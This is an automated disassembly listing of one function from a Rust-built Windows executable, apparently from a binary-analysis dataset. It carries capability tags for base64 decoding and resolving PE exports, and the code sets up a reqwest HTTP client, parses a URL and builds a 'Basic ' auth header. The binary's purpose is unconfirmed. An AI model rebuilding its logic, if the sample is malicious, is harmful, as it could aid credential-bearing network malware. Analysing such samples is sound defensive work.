Function at 0x140108150
Capabilities:
Decode data using base64 via dword translation table
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2a08
call fcn.140110450
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x2970], xmm9
movaps xmmword [rbp + 0x2960], xmm8
movaps xmmword [rbp + 0x2950], xmm7
movdqa xmmword [rbp + 0x2940], xmm6
mov qword [rbp + 0x2938], 0xfffffffffffffffe
mov rdi, rdx
mov rbx, rcx
lea rcx, [rbp + 0x2440]
mov edx, 2
call fcn.1400baef0
mov rsi, qword [rbp + 0x2450]
cmp qword [rbp + 0x2440], rsi
mov qword [rbp + 0x2760], rdi
jbe 0x14010820d
mov r8, qword [rbp + 0x2448]
test rsi, rsi
je 0x140108222
shl rsi, 2
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r9, rsi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
mov rdi, rax
test rax, rax
je 0x14010b1fc
mov rsi, qword [rbp + 0x2450]
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108262
jmp 0x140108249
mov rdi, qword [rbp + 0x2448]
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108262
jmp 0x140108249
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov edi, 2
mov rsi, qword [rbp + 0x2450]
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108262
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010af94
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010af94
mov word [rbp + 0x2498], 1
mov qword [rbp + 0x2440], rdi
mov qword [rbp + 0x2448], rsi
mov qword [rbp + 0x2450], 2
mov qword [rbp + 0x2458], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2460], xmm0
mov qword [rbp + 0x2470], 8
movups xmmword [rbp + 0x2478], xmm0
movaps xmmword [rbp + 0x1fc0], xmm0
movaps xmmword [rbp + 0x1fb0], xmm0
lea rax, str._trust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rbp + 0x2590], rax
mov qword [rbp + 0x2598], 3
mov qword [rbp + 0x25a0], 0
lea rax, [0x140156cd8]
mov qword [rbp + 0x25a8], rax
mov byte [rbp + 0x25b0], 0
lea rcx, [rbp + 0x2150]
lea rdx, [rbp + 0x2440]
lea r8, [rbp + 0x1fb0]
lea r9, [rbp + 0x2590]
call fcn.140049240
cmp byte [rbp + 0x2170], 2
je 0x14010834e
mov rax, qword [rbp + 0x2168]
lea rcx, [rbp + 0x2160]
mov rdx, qword [rbp + 0x2150]
mov r8, qword [rbp + 0x2158]
call qword [rax + 0x10]
lea rsi, [rbp - 0x4c]
movups xmm0, xmmword [rbp + 0x2440]
movups xmm1, xmmword [rbp + 0x2450]
movups xmm2, xmmword [rbp + 0x2460]
movups xmm3, xmmword [rbp + 0x2470]
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm1
movups xmmword [rbp - 0x2c], xmm2
movups xmmword [rbp - 0x1c], xmm3
movups xmm0, xmmword [rbp + 0x2480]
movups xmmword [rbp - 0xc], xmm0
movups xmm0, xmmword [rbp + 0x2490]
movups xmmword [rbp + 4], xmm0
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x48], 0
jne 0x1401083b8
xor ecx, ecx
call fcn.140077f60
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm6, xmmword [rax + 0x50]
inc qword [rax + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2098], xmm0
mov qword [rbp + 0x20a8], 0
movaps xmmword [rbp + 0x1fb0], xmm0
movaps xmmword [rbp + 0x23b0], xmm0
mov byte [rbp + 0x27a4], 0
mov dword [rbp + 0x27a0], 0
movups xmm0, xmmword [rsi]
movdqu xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movaps xmmword [rbp + 0x2440], xmm0
movdqa xmmword [rbp + 0x2450], xmm1
movaps xmmword [rbp + 0x2460], xmm2
movaps xmmword [rbp + 0x2470], xmm3
movups xmm0, xmmword [rsi + 0x40]
movaps xmmword [rbp + 0x2480], xmm0
movups xmm0, xmmword [rsi + 0x50]
movaps xmmword [rbp + 0x2490], xmm0
movups xmm0, xmmword [rbp + 0x2090]
mov rax, qword [rbp + 0x20a0]
mov rcx, qword [rbp + 0x20a8]
movaps xmmword [rbp + 0x2150], xmm0
mov qword [rbp + 0x2160], rax
mov qword [rbp + 0x2168], rcx
mov rax, qword [rbp + 0x2380]
mov qword [rbp + 0x2230], rax
mov eax, dword [rbp + 0x2388]
mov dword [rbp + 0x2238], eax
mov eax, dword [rbp + 0x22e8]
mov dword [rbp + 0x2848], eax
mov rax, qword [rbp + 0x22e0]
mov qword [rbp + 0x2840], rax
mov eax, dword [rbp + 0x2358]
mov dword [rbp + 0x2418], eax
mov rax, qword [rbp + 0x2350]
mov qword [rbp + 0x2410], rax
mov eax, dword [rbp + 0x2318]
mov dword [rbp + 0x2298], eax
mov rax, qword [rbp + 0x2310]
mov qword [rbp + 0x2290], rax
movdqu xmm0, xmmword [rbp + 0x2700]
movdqa xmmword [rbp + 0x27e0], xmm0
movzx eax, word [rbp + 0x2784]
mov word [rbp + 0x28b4], ax
mov eax, dword [rbp + 0x2780]
mov dword [rbp + 0x28b0], eax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108532
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010afad
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x2320
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010afad
mov rdi, rax
pxor xmm0, xmm0
movdqu xmmword [rax + 0x2310], xmm0
movdqu xmmword [rax + 0x2300], xmm0
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108585
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010afb7
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x88
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010afb7
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x18], 0
mov eax, dword [rbp + 0x2590]
mov ecx, dword [rbp + 0x2593]
mov dword [rsi + 0x19], eax
mov dword [rsi + 0x1c], ecx
pxor xmm0, xmm0
movdqu xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], 0
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x40], rdi
mov byte [rsi + 0x48], 0
mov eax, dword [rbp + 0x2890]
mov ecx, dword [rbp + 0x2893]
mov dword [rsi + 0x49], eax
mov dword [rsi + 0x4c], ecx
mov qword [rsi + 0x50], rdi
movdqu xmmword [rsi + 0x58], xmm0
movdqu xmmword [rsi + 0x68], xmm0
mov qword [rsi + 0x78], 0
mov qword [rsi + 0x80], 1
lock inc qword [rsi]
jle 0x14010ec94
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010864b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010afc1
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x48
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010afc1
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x40], 0
lock inc qword [rax]
jle 0x14010ec94
mov qword [rbp + 0x28f0], rbx
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x1401086ba
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010afcb
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x1d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010afcb
mov rbx, rax
movups xmm0, xmmword [0x1401543bd]
movups xmmword [rax + 0xd], xmm0
movdqu xmm0, xmmword [str.reqwest_internal_sync_runtimecore_thread_exited_earlycore_thread_panicked]
movdqu xmmword [rax], xmm0
call fcn.1400e7ba0
mov r15, rax
mov r8d, 0x1d
xor ecx, ecx
mov rdx, rbx
call fcn.140006fc0
test rax, rax
jne 0x14010afe6
mov qword [rbp + 0x2590], 0x1d
mov qword [rbp + 0x2598], rbx
mov qword [rbp + 0x25a0], 0x1d
lea rcx, [rbp + 0x2590]
call fcn.140002b60
mov rcx, rax
call fcn.1400dd210
lock inc qword [rax]
jle 0x14010ec94
mov r12, rax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010876f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4ad
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4ad
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
lock inc qword [rax]
jle 0x14010ec94
movzx eax, byte [0x140195b28]
test al, al
je 0x14010880f
mov byte [0x140195b28], 1
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x68], 0
je 0x1401087e3
lea rax, [rax + 0x70]
jmp 0x1401087f1
call fcn.1400e6d60
test rax, rax
je 0x14010b223
mov r13, qword [rax]
mov qword [rax], 0
test r13, r13
je 0x14010880f
lock inc qword [r13]
jle 0x14010ec94
xor ebx, ebx
jmp 0x14010881f
movzx eax, byte [0x140195b28]
mov bl, 1
xor r13d, r13d
test al, al
je 0x14010887e
mov byte [0x140195b28], 1
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x68], 0
je 0x14010884c
lea rax, [rax + 0x70]
jmp 0x140108868
mov qword [rbp + 0x2928], r13
call fcn.1400e6d60
test rax, rax
mov r13, qword [rbp + 0x2928]
je 0x14010b206
mov rcx, qword [rax]
mov qword [rax], r13
test rcx, rcx
je 0x14010887e
lock dec qword [rcx]
jne 0x14010887e
call fcn.1400c73a0
mov rax, r14
add rax, 0x10
mov rcx, qword [rax]
test rcx, rcx
je 0x140108898
lock inc qword [rcx + 0x10]
jle 0x14010b17e
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x1401088bd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010afdc
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x1c0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010afdc
mov qword [rax], r13
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
movaps xmm0, xmmword [rbp + 0x2440]
movaps xmm1, xmmword [rbp + 0x2450]
movaps xmm2, xmmword [rbp + 0x2460]
movaps xmm3, xmmword [rbp + 0x2470]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rbp + 0x2480]
movups xmmword [rax + 0x58], xmm0
movaps xmm0, xmmword [rbp + 0x2490]
movups xmmword [rax + 0x68], xmm0
mov qword [rax + 0x78], 0
movaps xmm0, xmmword [rbp + 0x2150]
movdqa xmm1, xmmword [rbp + 0x2160]
movups xmmword [rax + 0x80], xmm0
movdqu xmmword [rax + 0x90], xmm1
lea rcx, [0x14015d600]
mov qword [rax + 0xa0], rcx
movdqu xmmword [rax + 0xa8], xmm6
mov dword [rax + 0xc0], 0x3b9aca00
mov qword [rax + 0xc8], 0x5a
mov dword [rax + 0xd0], 0
mov ecx, dword [rbp + 0x2238]
mov dword [rax + 0xdc], ecx
mov rcx, qword [rbp + 0x2230]
mov qword [rax + 0xd4], rcx
mov dword [rax + 0xe0], 0x3b9aca00
mov ecx, dword [rbp + 0x2848]
mov dword [rax + 0xec], ecx
mov rcx, qword [rbp + 0x2840]
mov qword [rax + 0xe4], rcx
mov dword [rax + 0xf0], 0x3b9aca00
mov rcx, qword [rbp + 0x2410]
mov qword [rax + 0xf4], rcx
mov ecx, dword [rbp + 0x2418]
mov dword [rax + 0xfc], ecx
mov dword [rax + 0x100], 0x3b9aca00
mov ecx, dword [rbp + 0x2298]
mov dword [rax + 0x10c], ecx
mov rcx, qword [rbp + 0x2290]
mov qword [rax + 0x104], rcx
mov dword [rax + 0x110], 0x3b9aca00
mov qword [rax + 0x118], 0xffffffffffffffff
movaps xmm0, xmmword [rbp + 0x1fb0]
movups xmmword [rax + 0x120], xmm0
mov qword [rax + 0x130], 8
movaps xmm0, xmmword [rbp + 0x23b0]
movups xmmword [rax + 0x138], xmm0
mov qword [rax + 0x148], 8
mov qword [rax + 0x150], 0
mov dword [rax + 0x158], 0
mov dword [rax + 0x160], 0
mov dword [rax + 0x168], 0
mov qword [rax + 0x170], 1
mov qword [rax + 0x178], 0xa
mov dword [rax + 0x188], 0x2020404
movdqa xmm0, xmmword [rbp + 0x27e0]
movdqu xmmword [rax + 0x18c], xmm0
mov dword [rax + 0x19c], 0x1000101
mov word [rax + 0x1a0], 0x101
mov ecx, dword [rbp + 0x27a0]
mov dword [rax + 0x1a2], ecx
movzx ecx, byte [rbp + 0x27a4]
mov byte [rax + 0x1a6], cl
mov word [rax + 0x1a7], 1
mov byte [rax + 0x1a9], 0
mov ecx, dword [rbp + 0x28b0]
mov dword [rax + 0x1aa], ecx
movzx ecx, word [rbp + 0x28b4]
mov word [rax + 0x1ae], cx
mov qword [rax + 0x1b0], r12
mov qword [rax + 0x1b8], r14
lea r8, [0x1401556b0]
mov rcx, r15
mov rdx, rax
call fcn.1400e7da0
mov rbx, rdx
test rax, rax
jne 0x14010b037
call fcn.1400e0340
test rax, rax
je 0x14010ecac
mov r13, rax
mov qword [rbp + 0x2928], r12
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140108b61
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4b4
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4b4
mov r12, rax
mov qword [rbp + 0x2918], rbx
mov qword [r12], 1
mov qword [r12 + 8], 1
add r12, 0x10
mov qword [rax + 0x10], r13
lea r13, [fcn.140077ab0]
jmp 0x140108bc5
mov rcx, r12
call fcn.140077bf0
mov al, 1
xor ecx, ecx
test al, al
je 0x140108c1a
call fcn.1400e05e0
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
lea rax, [rax + 0xd8]
test rcx, rcx
cmove rax, rcx
jne 0x140108bfd
xor ebx, ebx
xor ecx, ecx
call fcn.140087940
test rax, rax
je 0x140108c22
movzx edx, byte [rax + 0x59]
cmp byte [rax + 0x58], 0
je 0x140108c0d
test dl, dl
je 0x140108bb0
dec dl
movzx ecx, word [rax + 0x58]
mov byte [rax + 0x59], dl
xor eax, eax
test al, al
jne 0x140108bc0
shl ecx, 8
movzx ebx, al
or ebx, ecx
mov rax, qword [rdi + 0x40]
test al, 2
jne 0x140108d55
test al, 4
jne 0x14010af3b
test al, 1
jne 0x140108c40
test al, 1
je 0x140108c72
jmp 0x140108ca7
cmp r12, qword [rdi + 0x30]
je 0x140108d0a
mov rax, qword [rdi + 0x40]
nop
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rdi + 0x40], rcx
jne 0x140108c50
test al, 2
jne 0x140108d4f
mov rcx, qword [rdi + 0x30]
mov rax, qword [rdi + 0x38]
call qword [rax + 0x18]
mov rcx, r12
call fcn.140077ab0
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], rdx
mov rax, qword [rdi + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rdi + 0x40], rcx
jne 0x140108c90
test al, 2
jne 0x140108d55
mov r15d, ebx
shr r15d, 8
test r15b, r15b
je 0x140108bc0
mov eax, dword [0x140195c60]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
lea rax, [rax + 0xd8]
test rcx, rcx
cmove rax, rcx
je 0x140108ceb
test rax, rax
jne 0x140108cfb
jmp 0x140108bc0
xor ecx, ecx
call fcn.1400f2bf0
test rax, rax
je 0x140108bc0
shr ebx, 0x10
mov byte [rax + 0x58], r15b
mov byte [rax + 0x59], bl
jmp 0x140108bc0
mov rcx, qword [rdi + 0x38]
cmp qword [rcx], r13
jne 0x140108c4a
lea rdx, [0x140077ad0]
cmp qword [rcx + 8], rdx
jne 0x140108c4a
lea rdx, [fcn.140077bf0]
cmp qword [rcx + 0x10], rdx
jne 0x140108c4a
lea rdx, [fcn.140077cf0]
cmp qword [rcx + 0x18], rdx
jne 0x140108c4a
jmp 0x140108c3a
lock or qword [rdi + 0x40], 1
mov rax, qword [rdi + 0x10]
mov r13, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor rax, 1
dec rax
cmp rax, 2
jb 0x14010af3b
lock dec qword [rdi]
jne 0x140108d84
mov rcx, rdi
call fcn.1400c6de0
mov rcx, r12
call fcn.140077cf0
test r13, r13
mov rbx, qword [rbp + 0x2918]
jne 0x14010b0a2
mov rcx, qword [0x140195bd0]
test rcx, rcx
mov rdi, qword [rbp + 0x2928]
jne 0x140108dc8
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b4ad
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b4ad
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov qword [rax + 0x28], r14
lea rdx, [0x1401840dd]
lea rcx, [rbp - 0x50]
mov r8d, 0x31
call fcn.1400766c0
mov eax, dword [rbp - 0x38]
cmp eax, 2
jne 0x140108e2a
mov ecx, 2
mov rdi, qword [rbp - 0x50]
jmp 0x140108e99
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x2310], xmm0
movdqa xmmword [rbp + 0x2890], xmm0
movdqa xmmword [rbp + 0x28b0], xmm0
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
movups xmm3, xmmword [rbp - 0x30]
movups xmm4, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x2150], xmm1
movaps xmmword [rbp + 0x2160], xmm2
movaps xmmword [rbp + 0x2170], xmm3
movaps xmmword [rbp + 0x2180], xmm4
movdqu xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x2190], xmm1
mov rcx, qword [rbp]
mov qword [rbp + 0x21a0], rcx
movdqa xmmword [rbp + 0x2780], xmm0
mov edi, 2
xor ecx, ecx
lock inc qword [r15]
jle 0x14010ec94
mov qword [rbp + 0x2590], 0x1e
mov dword [rbp + 0x2598], 0
mov qword [rbp + 0x25a0], r15
mov qword [rbp + 0x25a8], rdi
movaps xmm0, xmmword [rbp + 0x2310]
movups xmmword [rbp + 0x25b0], xmm0
mov qword [rbp + 0x25c0], 8
movaps xmm0, xmmword [rbp + 0x2890]
movups xmmword [rbp + 0x25c8], xmm0
mov qword [rbp + 0x25d8], 8
movaps xmm0, xmmword [rbp + 0x28b0]
movups xmmword [rbp + 0x25e0], xmm0
mov word [rbp + 0x2600], 0
mov dword [rbp + 0x2610], 0x3b9aca00
mov byte [rbp + 0x2618], 1
mov dword [rbp + 0x2619], 0
mov dword [rbp + 0x261c], 0
movaps xmm0, xmmword [rbp + 0x2780]
movups xmmword [rbp + 0x2620], xmm0
mov rdx, qword [rbp + 0x21a0]
mov qword [rbp + 0x2680], rdx
movaps xmm0, xmmword [rbp + 0x2150]
movdqa xmm1, xmmword [rbp + 0x2160]
movaps xmm2, xmmword [rbp + 0x2170]
movaps xmm3, xmmword [rbp + 0x2180]
movups xmmword [rbp + 0x2630], xmm0
movdqu xmmword [rbp + 0x2640], xmm1
movups xmmword [rbp + 0x2650], xmm2
movups xmmword [rbp + 0x2660], xmm3
movdqa xmm0, xmmword [rbp + 0x2190]
movdqu xmmword [rbp + 0x2670], xmm0
mov qword [rbp + 0x2688], rcx
mov byte [rbp + 0x26b0], 2
mov qword [rbp + 0x26b8], 2
cmp eax, 2
mov qword [rbp + 0x2930], r15
jne 0x140108fde
xor r14d, r14d
mov esi, 0x1e
mov ebx, 2
mov r13d, 2
mov qword [rbp + 0x2918], r15
jmp 0x140109443
mov r8d, dword [rbp + 0x2658]
mov rcx, qword [rbp + 0x2638]
mov rdx, qword [rbp + 0x2640]
test r8, r8
je 0x14010901c
cmp rdx, r8
jbe 0x14010901a
cmp byte [rcx + r8], 0xbf
jg 0x14010901c
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.4.0_srclib.rs_5
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.14011e540
ud2
jne 0x140109004
sub rdx, r8
cmp rdx, 3
jb 0x14010940b
movzx eax, word [rcx + r8]
xor eax, 0x2f3a
movzx ecx, byte [rcx + r8 + 2]
xor ecx, 0x2f
or cx, ax
jne 0x14010940b
lea r14, [rbp + 0x2630]
mov rcx, r14
call fcn.1400fa290
add rdx, rax
lea r13, [rbp - 0x50]
mov rcx, r13
mov r8, rax
call fcn.140041950
mov rax, qword [rbp - 0x50]
cmp rax, 2
je 0x14010940b
mov rdi, qword [rbp - 0x48]
mov r15, qword [rbp - 0x40]
test rax, rax
je 0x14010909d
mov rsi, qword [rbp - 0x38]
mov r12, r15
mov r15, rdi
mov rcx, r14
call fcn.1400fa360
test rax, rax
jne 0x140109109
jmp 0x140109122
test r15, r15
je 0x1401090e5
js 0x14010b1f5
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x1401090cd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b488
mov rcx, rax
mov qword [0x140195bd0], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x1401090eb
jmp 0x14010b488
mov r12d, 1
mov rcx, r12
mov rdx, rdi
mov r8, r15
call fcn.140110cd0
mov rsi, r15
mov rcx, r14
call fcn.1400fa360
test rax, rax
je 0x140109122
add rdx, rax
lea rcx, [rbp - 0x50]
mov r8, rax
call fcn.140041950
mov rax, qword [rbp - 0x50]
cmp rax, 2
jne 0x140109134
xor ebx, ebx
xor eax, eax
test rsi, rsi
je 0x1401091cb
jmp 0x1401091ef
mov r13, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x40]
test rax, rax
je 0x140109154
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x2928], rax
mov rbx, rdi
mov rdi, r13
jmp 0x1401091bc
test rdi, rdi
je 0x1401091a2
js 0x14010b1f5
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140109180
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140109193
mov rcx, rax
mov qword [0x140195bd0], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1401091a7
mov edx, 1
mov rcx, rdi
call fcn.14011dd70
ud2
mov ebx, 1
mov rcx, rbx
mov rdx, r13
mov r8, rdi
call fcn.140110cd0
mov qword [rbp + 0x2928], rdi
test rbx, rbx
setne al
lea r13, [rbp - 0x50]
test rsi, rsi
jne 0x1401091ef
test al, al
jne 0x1401091ef
test r15, r15
je 0x14010940b
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14010940b
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov rcx, r14
call fcn.1400fbd90
test al, al
jne 0x14010b412
mov rcx, r14
call fcn.1400fbbb0
test al, al
jne 0x14010b427
test r12, r12
je 0x14010940b
mov qword [rbp + 0x2410], r15
mov qword [rbp + 0x2418], r12
mov qword [rbp + 0x2420], rsi
lea rcx, [rbp + 0x2440]
lea rdx, [rbp + 0x2590]
mov r8d, 0x150
call fcn.140110cd0
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x140109272
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010b454
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 6
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010b454
mov qword [rbp + 0x2840], 6
mov qword [rbp + 0x2848], rax
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
mov qword [rbp + 0x2850], 6
mov byte [rbp + 0x3d2], 0
mov word [rbp + 0x3d0], 0
mov r8d, 0x400
mov rcx, r13
xor edx, edx
call fcn.140111a10
lea rax, [0x1401569a8]
mov qword [rbp + 0x3c8], rax
lea rax, [rbp + 0x2840]
mov qword [rbp + 0x3b0], rax
mov byte [rbp + 0x3d3], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3b8], xmm0
lea rax, [rbp + 0x2410]
mov qword [rbp + 0x2380], rax
lea r15, [0x1400a3c00]
mov qword [rbp + 0x2388], r15
mov qword [rbp + 0x2708], r13
mov qword [rbp + 0x2700], 0
mov qword [rbp + 0x23b0], 0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.12.3_srcdecode.rs
mov qword [rbp + 0x23c0], rax
mov qword [rbp + 0x23c8], 2
lea rax, [rbp + 0x2380]
mov qword [rbp + 0x23d0], rax
mov qword [rbp + 0x23d8], 1
lea rdx, [0x140152a48]
lea r14, [rbp + 0x2700]
lea r8, [rbp + 0x23b0]
mov rcx, r14
call fcn.1400067c0
mov r12, qword [rbp + 0x2700]
test al, al
je 0x14010a4f4
mov rsi, r13
test r12, r12
lea r13, str.formatter_error
cmovne r13, r12
mov eax, r13d
and eax, 3
cmp eax, 1
jne 0x14010a559
mov r12, r15
lea r15, [r13 - 1]
mov rcx, qword [r13 - 1]
mov rax, qword [r13 + 7]
call qword [rax]
mov rax, qword [r13 + 7]
cmp qword [rax + 8], 0
je 0x1401093f1
mov r8, qword [r15]
cmp qword [rax + 0x10], 0x11
jb 0x1401093e2
mov r8, qword [r8 - 8]
mov rcx, qword [0x140195bd0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140195bd0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, r12
jmp 0x14010a559
mov rsi, qword [rbp + 0x2590]
mov r14d, dword [rbp + 0x2598]
mov rax, qword [rbp + 0x25a0]
mov qword [rbp + 0x2918], rax
mov rdi, qword [rbp + 0x25a8]
mov r13, qword [rbp + 0x2688]
mov rbx, qword [rbp + 0x26b8]
mov r15, qword [rbp + 0x2930]
lea rdx, [rbp + 0x25b0]
lea rcx, [rbp + 0x1fb0]
mov r8d, 0xd8
call fcn.140110cd0
movdqu xmm0, xmmword [rbp + 0x2690]
movdqu xmm1, xmmword [rbp + 0x26a0]
movdqa xmmword [rbp + 0x2350], xmm0
movdqa xmmword [rbp + 0x2360], xmm1
mov rax, qword [rbp + 0x26b0]
mov qword [rbp + 0x2370], rax
mov r12, qword [rbp + 0x26c0]
mov rax, qword [rbp + 0x26c8]
movdqu xmm6, xmmword [rbp + 0x26d0]
cmp r13, 2
jne 0x1401094c9
mov rcx, qword [rbp + 0x2918]
lock dec qword [rcx]
jne 0x14010cbe2
mov r12d, 3
mov rbx, qword [rbp + 0x28f0]
jmp 0x14010cbc5
mov qword [rbp + 0x2768], rax
mov qword [rbp + 0x2908], rsi
lea rcx, [rbp + 0x2150]
lea rdx, [rbp + 0x1fb0]
mov r8d, 0xd8
call fcn.140110cd0
movaps xmm0, xmmword [rbp + 0x2350]
movaps xmm1, xmmword [rbp + 0x2360]
movaps xmmword [rbp + 0x22e0], xmm0
movaps xmmword [rbp + 0x22f0], xmm1
mov rax, qword [rbp + 0x2370]
mov qword [rbp + 0x2300], rax
mov rcx, qword [0x140195bd0]
test rcx, rcx
jne 0x14010953f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14010af94
mov rcx, rax
mov qword [0x140195bd0], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14010af94
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movups xmmword [rax + 0x38], xmm0
movups xmmword [rax + 0x48], xmm1
movups xmmword [rax + 0x58], xmm2
movups xmmword [rax + 0x68], xmm3
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rax + 0x78], xmm0
movups xmm0, xmmword [rbp]
movups xmmword [rax + 0x88], xmm0
mov qword [rax + 0x98], 4
